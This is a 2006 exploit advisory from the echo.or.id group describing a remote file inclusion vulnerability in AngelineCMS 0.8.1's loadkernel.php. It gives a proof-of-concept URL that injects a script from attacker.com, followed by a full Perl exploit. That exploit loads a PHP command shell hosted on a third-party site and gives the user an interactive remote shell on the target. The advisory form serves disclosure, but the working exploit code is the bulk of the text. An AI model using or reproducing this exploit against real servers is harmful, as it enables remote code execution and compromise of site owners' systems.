`____________________ ___ ___ ________ \_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO_ADV_27$2006 --------------------------------------------------------------------------- [ECHO_ADV_27$2006] AngelineCMS 0.8.1 Installpath Remote File Inclusion --------------------------------------------------------------------------- Author : M.Hasran Addahroni Date : April, 4th 2006 Location : Indonesia, Bali Web : http://advisories.echo.or.id/adv/adv27-K-159-2006.txt Critical Lvl : Dangerous --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Indexu Application : AngelineCMS version : 0.8.1 URL : http://angelinecms.info/ Description : AngelineCMS is an open source Content Management System (CMS) and a complete Web Development Framework (Application server). It's written from ground up to take advance of PHP5's object-oriented features. AngelineCMS is Open Source software under OSI approved Mozilla Public License. AngelineCMS aims for easy, innovative solutions for daily web publishing problems. --------------------------------------------------------------------------- Proof of Concept: ~~~~~~~~~~~~~~~~ Vulnerable Script: loadkernel.php in kernel folder. ---------------loadkernel.php-------------------------------- ... include_once($installPath."/kernel/common/time.php"); ... ------------------------------------------------------------------ Variables $installpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. Poc/Exploit: ~~~~~~~~~~~~ http://www.target.com/[angelinecms_path]/kernel/loadkernel.php?installPath=http://attacker.com/evil? Solution: ~~~~~~~~~ sanitize the script code in loadkernel.php to protect this vulerability Notification: ~~~~~~~~~~~~ vendor was contact --------------------------------------------------------------------------- Shoutz: ~~~~~~~ ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw ~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit ~ newbie_hacker@yahoogroups.com ~ #aikmel #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ---------------------------------- Perl Exploit: ~~~~~~~~~~~~ #!/usr/bin/perl ## # AngelineCMS 0.8.1 installpath Remote Code Execution Exploit # Bug Found & code By K-159 # code reference from uid0/zod at ExploiterCode.com ## # echo.or.id (c) 2006 # ## # usage: # perl angelineCMS.pl # # perl angelineCMS.pl http://target.com/ http://site.com/cmd.txt cmd # # cmd shell example: # # cmd shell variable: ($_GET[cmd]); ## # # # # Contact: www.echo.or.id #e-c-h-o @irc.dal.net ## use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()} head(); while() { print "[shell] \$"; while() { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'kernel/loadkernel.php?installPath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[ê]/; if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in /) {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit} elsif ($return =~/^.Fatal.error/) {print "\nInvalid Command or No Return\n\n"} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[ê]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[shell] \$";}}}last; sub head() { print "\n============================================================================\r\n"; print " *AngelineCMS 0.8.1 installpath Remote Code Execution Exploit*\r\n"; print "============================================================================\r\n"; } sub usage() { head(); print " Usage: perl angelineCMS.pl \r\n\n"; print " - Full path to angelineCMS ex: http://www.site.com/ \r\n"; print " - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by K-159 \r\n"; print " www.echo.or.id #e-c-h-o irc.dal.net \r\n"; print "============================================================================\r\n"; exit(); } `

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